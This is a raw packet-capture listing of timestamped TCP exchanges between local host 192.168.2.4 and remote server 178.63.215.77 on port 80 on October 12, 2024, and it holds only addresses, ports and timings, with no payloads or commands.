Oct 12, 2024 14:17:10.053287983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053289890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053317070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053334951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053349018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053363085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053383112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053395987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053416014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053432941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053447962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053459883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053478956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053492069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053512096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053525925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053544044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053555965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053576946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053589106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053607941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053621054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053641081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053653955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053672075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053685904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053704023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053716898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053736925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053752899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053769112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053787947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053800106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053811073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053832054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053845882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053865910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053877115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053896904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053909063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053929090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053942919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053961039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.053973913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.053992033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054006100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054023981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054034948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054054976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054070950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054088116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054127932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054160118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054192066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054209948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054224014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054259062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054264069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054284096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054291010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054320097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054321051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054344893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054353952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054368973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054383993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054404974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054414988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054434061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054447889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054461002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054480076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054497957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054511070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054529905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054542065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054559946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054573059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054591894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054605961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054620981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054627895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054641962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054647923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054655075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054670095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054673910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054682970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054692984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054697037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054711103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054727077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054729939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054739952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054754019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054755926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054768085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054783106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054795980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054816961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.054831028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.054858923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140208960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140249014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140305042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140326977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140342951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140362024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140382051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140403032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140418053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140434980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140465975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140497923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140526056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140573025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140605927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140652895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140683889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140714884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140748024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140748024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140764952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140775919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140798092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140829086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140846968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140861034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140892029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140901089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140924931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.140949011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.140974045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141006947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141011000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141051054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141056061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141087055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141113043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141119003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141144037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141149998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141161919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141180992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141202927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141227961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141228914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141263008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141278028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141294956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141307116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141326904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141340971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141371012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141376972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141422033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141424894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141457081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141468048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141488075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141515017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141519070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141534090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141551018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141568899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141592979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141598940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141644001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141647100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141694069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141699076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141730070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141743898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141774893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141776085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141808987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141830921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141839027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141868114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141870022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141891003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141904116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141912937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141952991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.141959906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.141999006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142003059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142030954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142056942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142076015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142079115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142127037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142128944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142158031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142180920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142189026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142205000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142220020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142235994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142254114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142263889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142301083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142309904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142333031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142364025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142364979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142390013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142398119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142412901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142427921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142441034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142461061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142482996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142492056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142507076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142527103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142538071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142556906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142573118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142589092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142601013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142620087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142642975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142652035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142662048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142683029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142708063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142714977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142728090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142745972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142767906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142776966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142792940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142807961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142821074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142839909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142863035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142870903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142880917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142901897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142929077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142934084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142963886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.142966986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142987013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.142995119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143022060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143026114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143054962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143055916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143084049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143089056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143117905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143119097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143150091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143150091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143182039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143193007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143213034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143223047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143243074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143258095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143275976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143306971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143332005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143340111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143371105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143371105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143435001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143443108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143466949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143502951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143511057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143543005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143544912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143575907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143588066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143606901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143620968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143640995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143654108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143671989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143687963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143703938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143724918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143734932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143767118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143768072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143799067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143812895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143831015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143853903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143862963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143876076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143894911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143917084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143925905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143939972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143959045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.143974066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.143990040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.144020081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.144022942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.144053936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.144058943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.144078016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.144099951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.228863955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.228934050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.228972912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.228991032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229007006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229022980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229034901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229039907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229062080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229078054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229095936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229111910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229127884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229150057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229182005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229239941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229291916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229345083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229377031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229425907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229424000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229424953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229424953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229424953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229424953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229456902 CEST	80	49730	178.63.215.77	192.168.2.4
